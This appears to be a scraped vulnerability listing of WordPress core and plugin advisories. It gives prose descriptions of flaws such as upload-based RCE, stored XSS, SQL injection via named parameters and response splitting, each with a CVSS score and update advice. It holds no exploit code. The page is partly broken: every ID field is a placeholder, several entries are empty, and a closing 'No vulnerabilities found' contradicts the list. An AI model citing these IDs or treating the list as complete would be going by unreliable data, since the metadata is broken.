  Description: WordPress is an open publishing platform for the Web. It's possible for a file of a type other than a zip file to be submitted as a new plugin by an administrative user on the Plugins -> Add New -> Upload Plugin screen in WordPress. If FTP credentials are requested for installation (in order to move the file into place outside of the `uploads` directory) then the uploaded file remains temporary available in the Media Library despite it not being allowed. If the `DISALLOW_FILE_EDIT` constant is set to `true` on the site _and_ FTP credentials are required when uploading a new theme or plugin, then this technically allows an RCE when the user would otherwise have no means of executing arbitrary PHP code. This issue _only_ affects Administrator level users on single site installations, and Super Admin level users on Multisite installations where it's otherwise expected that the user does not have permission to upload or execute arbitrary PHP code. Lower level users are not affected. Sites where the `DISALLOW_FILE_MODS` constant is set to `true` are not affected. Sites where an administrative user either does not need to enter FTP credentials or they have access to the valid FTP credentials, are not affected. The issue was fixed in WordPress 6.4.3 on January 30, 2024 and backported to versions 6.3.3, 6.2.4, 6.1.5, 6.0.7, 5.9.9, 5.8.9, 5.7.11, 5.6.13, 5.5.14, 5.4.15, 5.3.17, 5.2.20, 5.1.18, 5.0.21, 4.9.25, 2.8.24, 4.7.28, 4.6.28, 4.5.31, 4.4.32, 4.3.33, 4.2.37, and 4.1.40. A workaround is available. If the `DISALLOW_FILE_MODS` constant is defined as `true` then it will not be possible for any user to upload a plugin and therefore this issue will not be exploitable.

  CVSS Score: 4.3

- CVE ID: NVD

  Description: WordPress is an open publishing platform for the Web. Unserialization of instances of the `WP_HTML_Token` class allows for code execution via its `__destruct()` magic method. This issue was fixed in WordPress 6.4.2 on December 6th, 2023. Versions prior to 6.4.0 are not affected.

  CVSS Score: 4.7

- CVE ID: NVD

  Description: WordPress Core is vulnerable to Stored Cross-Site Scripting via user display names in the Avatar block in various versions up to 6.5.2 due to insufficient output escaping on the display name. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. In addition, it also makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that have the comment block present and display the comment author's avatar.

  CVSS Score: 6.4

- CVE ID: software

  Description: HackApp vulnerability scanner discovered that application WordPress published at the 'play' market has multiple vulnerabilities.

  CVSS Score: 0.0

- CVE ID: software

  Description: WordPress is a free and open-source content management system written in PHP and paired with a MySQL or MariaDB database. In affected versions the widgets editor introduced in WordPress 5.8 beta 1 has improper handling of HTML input in the Custom HTML feature. This leads to stored XSS in the custom HTML widget. This has been patched in WordPress 5.8. It was only present during the testing/beta phase of WordPress 5.8.

CVSS Score: 3.5

- CVE ID: software

Description: WordPress is a free and open-source content management system written in PHP and paired with a MySQL or MariaDB database. In affected versions authenticated users who don't have permission to view private post types/data can bypass restrictions in the block editor under certain conditions. This affected WordPress 5.8 beta during the testing period. It's fixed in the final 5.8 release.

CVSS Score: 6.0

- CVE ID: software

Description: Because of these vulnerabilities in wp-login.php, the attackers can change the content of the forgotten password e-mail message via the message variable, that is not initialized before use.

## Solution

Update the WordPress to the latest available version (at least 1.5.1.3).

CVSS Score: 5.0

- CVE ID: software

Description: Because of this vulnerability, attackers can obtain sensitive information.

## Solution

Update WordPress to the latest possible version.

CVSS Score: 5.0

- CVE ID: software

Description: Becase of these vulnerabilities, the attackers can determine the existence of arbitrary files and possibly read portions of certain files.

## Solution

Update the WordPress to the latest available version (at least 1.4.6).

CVSS Score: 5.0

- CVE ID: software

Description: Because of this vulnerability in wp-login.php, attackers can perform HTTP Response Splitting attacks to modify expected HTML content from the server via the "text" parameter.

## Solution

Update the WordPress to the latest available version (at least 1.2.1).

CVSS Score: 5.0

- CVE ID: software

Description: Because of this vulnerability, attackers can execute arbitrary SQL commands via the $cat_ID variable.

## Solution

Update the WordPress to the latest available version (at least 1.5.2).

CVSS Score: 7.5

- CVE ID: software

Description: WordPress version prior to 1.5.1.3 is remotely exploitable if the web server on which it runs has register_globals enabled in the PHP configuration. Perl code exists to automatically exploit vulnerable WP 1.5.1.3 sites, allowing the attacker to try to execute code.

## Solution

Update WordPress.

CVSS Score: 7.5

- CVE ID: software

Description: Because of these vulnerabilities, attackers can inject arbitrary web script or HTML.

## Solution

Update WordPress to the latest possible version.

CVSS Score: 4.3

- CVE ID: software

Description: Because of this vulnerability, the authenticated users with manage_options and upload_files capabilities can execute arbitrary code by uploading a PHP script.

## Solution

Update WordPress.

CVSS Score: 8.5

- CVE ID: software

Description: Because of these vulnerabilities, the  attackers can obtain sensitive information via a direct request to wp-admin/upgrade-functions.php, wp-includes/vars.php, wp-admin/edit-form.php, wp-content/plugins/hello.php,  wp-settings.php or wp-admin/edit-form-comment.php.

## Solution

Update the WordPress to the latest available version (at least 1.5.2).

CVSS Score: 5.0

- CVE ID: software

Description: This vulnerability is in sidebar.php. It allows the attackers to inject arbitrary web script or HTML via the query string.

## Solution

Update WordPress.

CVSS Score: 6.8

- CVE ID: software

Description: Because of this vulnerability in wp-admin/vars.php, the authenticated users with theme privileges can inject arbitrary web script or HTML via the PATH_INFO.

## Solution

Update the WordPress to the latest available version (at least 2.1.3).

CVSS Score: 4.3

- CVE ID: software

Description: Because of this vulnerability, the attackers can inject arbitrary web script or HTML via the "id" parameter.

## Solution

Update the plugin.

CVSS Score: 4.3

- CVE ID: software

Description: Because of these vulnerabilities, the attackers can obtain sensitive information via a direct request to menu-header.php or a value in the "feed" parameter to wp-atom.php.

## Solution

Update the Wordpress to the latest available version (at least 1.5.1.3).

CVSS Score: 5.0

- CVE ID: software

Description: Because of this vulnerability, the attackers can redirect authenticated users to other websites and potentially obtain sensitive information.

## Solution

Update the WordPress to the latest available version (at least 1.1).

CVSS Score: 6.5

- CVE ID: software

Description: Because of this vulnerability in The _httpsrequest function in Snoopy, the attackers can execute arbitrary commands via shell metacharacters in an HTTPS URL to an SSL protected web page, that is not properly handled by the fetch function.

## Solution

Update the WordPress to the latest available version (at least 1.3).

CVSS Score: 7.5

- CVE ID: software

Description: Because of this vulnerability, attackers can execute arbitrary SQL commands via the User-Agent field in an HTTP header for a comment.

## Solution

Update the WordPress to the latest available version (at least 1.5.3).

CVSS Score: 7.5

- CVE ID: software

Description: Because of this vulnerability, attackers can inject arbitrary web script or HTML.

## Solution

Update the WordPress to the latest available version (at least 1.5.3).

CVSS Score: 6.8

- CVE ID: software

Description: Because of this vulnerability in wp-trackback.php, attackers can execute arbitrary SQL commands via the "tb_id" parameter.

## Solution

Update this plugin.

CVSS Score: 7.5

- CVE ID: software

Description: Because of these vulnerabilities in template-functions-post.php, attackers can execute arbitrary commands via the title of the post or content.

## Solution

Update WordPress to the latest possible version.

CVSS Score: 6.8

- CVE ID: software

Description: Because of these vulnerabilities in post.php, attackers can inject arbitrary web script or HTML via the "p" or "comment" parameter.

## Solution

Update the WordPress to the latest available version (at least 1.5.1.3).

CVSS Score: 4.3

- CVE ID: software

Description: Multiple WordPress themes are prone to an arbitrary file download vulnerability. It allows an attacker to download arbitrary files from the web server and get potentially sensitive information.

## Solution

Upgrade themes.

CVSS Score: 5.0

- CVE ID: software

Description: Because of this vulnerability in XMLRPC server, attackers can execute arbitrary SQL commands via input that is not filtered in the HTTP_RAW_POST_DATA variable, which stores the data in an XML file.

## Solution

Update the WordPress to the latest available version (at least 1.5.1.3).

CVSS Score: 7.5

- CVE ID: software

Description:

CVSS Score: 7.5

- CVE ID: software

  Description:

  CVSS Score: 5.0

- CVE ID: software

  Description:

  CVSS Score: 7.5

- CVE ID: software

  Description:

  CVSS Score: 4.3

- CVE ID: software

  Description:

  CVSS Score: 7.5

- CVE ID: software

  Description:

  CVSS Score: 7.5

No vulnerabilities found.-----------------------------------------------------------------